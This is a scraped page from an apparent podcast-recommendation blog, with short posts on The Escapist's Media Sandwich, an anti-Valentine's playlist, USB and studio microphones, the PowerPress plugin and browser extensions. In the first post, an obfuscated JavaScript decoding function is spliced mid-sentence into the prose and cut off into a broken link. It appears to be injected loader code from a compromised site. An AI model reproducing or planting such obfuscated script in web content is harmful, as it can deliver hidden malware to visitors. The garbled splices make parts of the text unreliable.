The Escapist’s Media Sandwich

Today’s featured podcast comes from The Escapist. For those of you who are not still familiar, The Escapist is an online magazine site that focuses mainly on videogame-related material.

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Click on the image above to listen to Episode 1 with Chris and Kyle.

I personally enjoy watching their featured videos and their podcast show is equally entertaining! It's called function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandwich/5235-MovieBob-and-Comics" target="_blank">Media Sandwich, and it covers not only videogames but other media as such as movies, TV, comics, other media-related news topics. It only debuted December of 2011 and has already put up 3 or 4 episodes in two-week intervals. Stay tuned for more of  the site's rich and interesting updates. Enjoy!


An Anti-Valentine’s Day Mixtape

This year’s coming Valentine’s Day I decided to go against the flow and post something that's actually against the season. I'm just going to lay it all out there and say that I'm glad and that I feel good knowing that there are other people out there like me who are not afraid to show their dislike for V-Day, and one of them would be Jen.

Jen is a long time blogger and podcaster who's been posting her annual Anti-Valentine's Day songs list since 2008. She's been podcasting since 2007, and her show Inside My Head began as a part of NaPodPoMo 2007, which then eventually expanded to include not just audio podcasts, but video podcasts and blog entries as well.

Her posts are mostly stuff about music and this year marks a milestone as her post about her Anti-Valentine sentiments finds its way onto our list of featured podcasts. Congratulations, Jen, and welcome to iPodder! :D

3 Top Microphone Candidates for the Mobile Podcaster

Contrary to what most people think, not all podcasters do their recordings in the comfort of their own homes. Some on-the-go podcasters do this from various locations for many reasons, one of which is that their interviewees don’t have the option or liberty to leave their current locale.

That’s why in today’s hardware feature, I’m listing three of the best microphones for the roving podcaster. Here they are in no particular order:

The Snowball

Made by Blue Microphones, the Snowball is a true plug-and-play device, quick and easy to setup because it requires no power hub or driver. It is capable of recording 44.1kHz audio at 16-bit resolution and has a frequency response of 40Hz-18kHz. At the back is a 3-point switch that lets you set the recording patterns (cardioid, cardioid with 10dB pad, and omni). In layman's terms, that means you can set the pick up range from 'Wide' for recording two or more people, to 'Focused' for recording just one person.

Bottom line is, it won't replace your studio quality mic but this is a good deal in itself. It wouldn’t surprise me if professional musicians use this to record their ideas and rough demos while on the road.

The Snowball comes in white, silver and black. Also available is a universal shock mount/suspension kit, which helps eliminate external vibrations and noise. Personally, its looks alone is enough to make me want one.


Samson Meteor Mic

Setting its attention-grabbing and undeniably sleek vintage design aside, the Samson Meteor Mic comes with an equally cool integrated stand that provides several standing position options and a neat carry case. Moreover, on its body you'll find an LED status light indicator, a stereo 1/8-inch zero latency headphone output, and a volume control.

It sports a cardioid pick up pattern capable of 16-bit, 44.1/48kHz recording resolution and frequency response of 20Hz-20kHz. And like the Snowball, the Meteor Mic also requires no driver install and USB power hub, making it ideal for use in VOIP, Skype, and of course, podcasting.


Blue Microphones Snowflake

Last but certainly not least is the Snowball's cousin, the Snowflake. I guess one could say that Blue Microphones has just found its way into the hearts of a considerable number of podcasters.

Like the two aforementioned microphones, this condenser cardioid microphone is also a driverless device that has no need for any power hub that's capable of recording 44.1kHz at 16-bit resolution.

Its whole compact design is just ideal for traveling podcasters as it comes with an integrated tray for its 3-foot USB cable making transportation convenient. Plus, its foldable mounting clip allows it to easily rest on your laptop.


Stay Updated On The Latest NFL Team Developments!

Super Bowl XLVI may be over but the fever still runs high! Now that we finally know who the 2011 champ is, we can move on to the upcoming NFL aces for 2012. And what better way is there to get a good prediction than to look closely at the recent developments in each of the team’s roster?

You can get the latest updates on your favorite team’s lineup over at NFL Draft Tracker, the official podcast of the NFL in everything related to draft picks and player trades. Get ready to place your bets!


PowerPress: WordPress Plugin for Podcast

PowerPress is a great WordPress plugin both for blogging and especially podcasting. It makes podcasting really easy and even lets you have real stats!

It's pretty easy to set up, with six different audio players and 2 video players, all of which are highly customizable players.

The players also come with a download link so users don't have to add an HTML at the end of every post just to do it manually; it’s all done automatically now. Its audio player options have also been getting a lot of positive feedback from users.

PowerPress provides support to a whole bunch of stuff: HTML5 video, iTunes, multi-podcasts, and a myriad of media formats!

If I were to nitpick on anything about this amazing plugin, it’s that you to create an account just to use their stats program.

In case you still haven't it tried out yet, download it from here, right now!


Spill Crew Podcasts: Movie Reviews for the Average Joe

Movie critics! Who doesn’t love them? Well, maybe not you (and 2 million other moviegoers) because they can be too technical or artsy-fartsy with their reviews when all you want to know if the movie they're critiquing is good or bad.

Enter the Spill Crew! These are four guys who simply love watching movies. Why should you care? Because they're someone that the average Joe (or Jane) can relate to when it comes to movie discussions. Listen to their hilarious podcasts as they discuss the trailers and teasers of upcoming movies.

To give you an idea about their approach, click HERE to watch this 5min video of their review on the movie The Devil Inside, or click HERE for the full uncensored audio version of their review instead.

Mic in Review: The Black Hole BH-2

If you’re a podcaster who considers himself as a hardcore audiophile and is looking for a unique brand of microphone then you might want to check out The Black Hole BH-2 by JZ Microphones. Designed as a condenser mic, the BH-2 comes in a nice-looking cherry wood finish case. Included is a uniquely designed shock mount that snaps into the 2 pins in the mic's center, making it look like it's floating from the stand.

It is available with an optional custom blast filter, and it sounds great with the Tube Tech plugin. The cardioid pattern allowed for a nice off-axis leniency and very good rejection. It works well with both male and female voices, with tenors where it almost doesn't need any further equalizing.

With a street price tag that hovers somewhere around $1,099, this isn’t what you would call your daddy’s microphone. After all, I did say “hardcore audiophile” in the beginning didn’t I? ;)

Helpful Browser Apps for Avid Podcast Listeners


il/jejekpifonopnckjahojjmpkbhfdkegd” target=”_blank”>iTunes Audio Preview/Podcast Downloader – This allows you to download podcasts and audio previews from the iTunes website manually WITHOUT the need for QuickTime and iTunes!
2. ChromeCast – This nifty browser extension lets you play your favorite podcasts within your browser. It definitely sounds like a cool plugin to have but judging from the most recent user feedback, it seems to have a bit of a minor issue with feedburner. Try it out and see if it’ll work with your favorite feeds.
3. Podcast Alarm Clock – Wake up to the sound of your favorite podcast!
4. SpokenText – Convert text on any web page to speech. Select the text, run the extension, press ‘Record’, and you're done! It supports English, French, and Spanish.

And now for Mozilla FireFox:
1. Huffduffer - Bookmark your favorite audio files and create your own podcast of found sounds.
2. FoxVox - FoxVox will speak any text you highlight in a web page; it’like SpokenText for Chrome. You can create audiobooks with this awesome add-on and even turn your blogs and articles into podcasts!
3. Youtube MP3 Podcaster – With this self-contained add-on you can download YouTube videos and convert them to mp3 files for easy listening on podcasting gadgets!

Of course there are other add-ons but we’ve picked out the most popular ones for you. You can also head on to your browser’s site and check out their corresponding extensions page for more.

I tried searching for podcast-related add-ons for the other browsers (IE, Opera, and Safari) but so far they only came up with one result. Perhaps we’ll find more soon, but for the meantime, enjoy these apps!

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